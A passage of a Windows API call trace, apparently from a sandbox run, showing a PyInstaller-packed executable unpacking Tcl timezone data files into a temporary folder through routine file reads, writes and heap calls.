dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.883] GetFileType (hFile=0x10c) returned 0x1 [0039.883] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.883] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.883] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.883] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.883] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.883] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.883] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.883] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.884] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.884] CloseHandle (hObject=0x10c) returned 1 [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.884] GetFileType (hFile=0x10c) returned 0x1 [0039.884] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.884] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.884] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.884] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.884] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.884] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.884] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.884] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.884] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.884] CloseHandle (hObject=0x10c) returned 1 [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Syowa") returned 73 [0039.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Syowa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\syowa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.884] GetLastError () returned 0x2 [0039.885] SetLastError (dwErrCode=0x2) [0039.885] GetLastError () returned 0x2 [0039.885] SetLastError (dwErrCode=0x2) [0039.885] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Syowa", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Syowa", lpFilePart=0x0) returned 0x48 [0039.885] GetLastError () returned 0x2 [0039.885] SetLastError (dwErrCode=0x2) [0039.885] GetLastError () returned 0x2 [0039.885] SetLastError (dwErrCode=0x2) [0039.885] GetLastError () returned 0x2 [0039.885] SetLastError (dwErrCode=0x2) [0039.885] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Syowa") returned 73 [0039.885] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.885] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Syowa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\syowa"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.886] GetFileType (hFile=0x10c) returned 0x1 [0039.886] htonl (hostlong=0x90000000) returned 0x90 [0039.886] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.886] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x90, lpOverlapped=0x0) returned 1 [0039.887] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.887] CloseHandle (hObject=0x10c) returned 1 [0039.888] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.888] htonl (hostlong=0x30000000) returned 0x30 [0039.888] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.888] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.888] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.888] GetFileType (hFile=0x10c) returned 0x1 [0039.888] htonl (hostlong=0x72a25a00) returned 0x5aa272 [0039.888] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f5272, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.888] htonl (hostlong=0x89000000) returned 0x89 [0039.888] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0039.888] htonl (hostlong=0x89000000) returned 0x89 [0039.888] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.888] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.888] htonl (hostlong=0x91000000) returned 0x91 [0039.888] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x550600 [0039.888] htonl (hostlong=0x89000000) returned 0x89 [0039.888] htonl (hostlong=0x91000000) returned 0x91 [0039.888] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.888] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.888] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.888] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.888] CloseHandle (hObject=0x10c) returned 1 [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.889] GetFileType (hFile=0x10c) returned 0x1 [0039.889] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.889] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.889] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.889] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.889] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.889] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.889] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.889] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.889] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.889] CloseHandle (hObject=0x10c) returned 1 [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.889] GetFileType (hFile=0x10c) returned 0x1 [0039.889] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.890] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.890] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.890] CloseHandle (hObject=0x10c) returned 1 [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.890] GetFileType (hFile=0x10c) returned 0x1 [0039.890] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.890] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.890] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.890] CloseHandle (hObject=0x10c) returned 1 [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Vostok") returned 74 [0039.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Vostok" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\vostok"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.891] GetLastError () returned 0x2 [0039.891] SetLastError (dwErrCode=0x2) [0039.891] GetLastError () returned 0x2 [0039.891] SetLastError (dwErrCode=0x2) [0039.891] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Vostok", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Vostok", lpFilePart=0x0) returned 0x49 [0039.891] GetLastError () returned 0x2 [0039.891] SetLastError (dwErrCode=0x2) [0039.891] GetLastError () returned 0x2 [0039.891] SetLastError (dwErrCode=0x2) [0039.891] GetLastError () returned 0x2 [0039.891] SetLastError (dwErrCode=0x2) [0039.891] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Vostok") returned 74 [0039.891] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Vostok" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\vostok"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.891] GetFileType (hFile=0x10c) returned 0x1 [0039.891] htonl (hostlong=0x91000000) returned 0x91 [0039.891] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.891] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x91, lpOverlapped=0x0) returned 1 [0039.892] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.892] CloseHandle (hObject=0x10c) returned 1 [0039.893] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.893] htonl (hostlong=0x30000000) returned 0x30 [0039.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.893] GetFileType (hFile=0x10c) returned 0x1 [0039.893] htonl (hostlong=0xfba25a00) returned 0x5aa2fb [0039.893] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f52fb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.893] htonl (hostlong=0x8f000000) returned 0x8f [0039.893] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x55cfe0 [0039.893] htonl (hostlong=0x8f000000) returned 0x8f [0039.893] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.893] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.894] htonl (hostlong=0xb0000000) returned 0xb0 [0039.894] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb0) returned 0x550600 [0039.894] htonl (hostlong=0x8f000000) returned 0x8f [0039.894] htonl (hostlong=0xb0000000) returned 0xb0 [0039.894] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.894] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.894] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.894] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.894] CloseHandle (hObject=0x10c) returned 1 [0039.894] GetLastError () returned 0x0 [0039.894] SetLastError (dwErrCode=0x0) [0039.894] GetLastError () returned 0x0 [0039.894] SetLastError (dwErrCode=0x0) [0039.894] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.894] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.894] GetFileType (hFile=0x10c) returned 0x1 [0039.894] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.894] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.894] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.894] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.894] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.894] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.894] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.894] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.894] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.894] CloseHandle (hObject=0x10c) returned 1 [0039.895] GetLastError () returned 0x0 [0039.895] SetLastError (dwErrCode=0x0) [0039.895] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.895] GetFileType (hFile=0x10c) returned 0x1 [0039.895] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.895] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.895] SystemTimeToTzSpecificLocalTime (in: 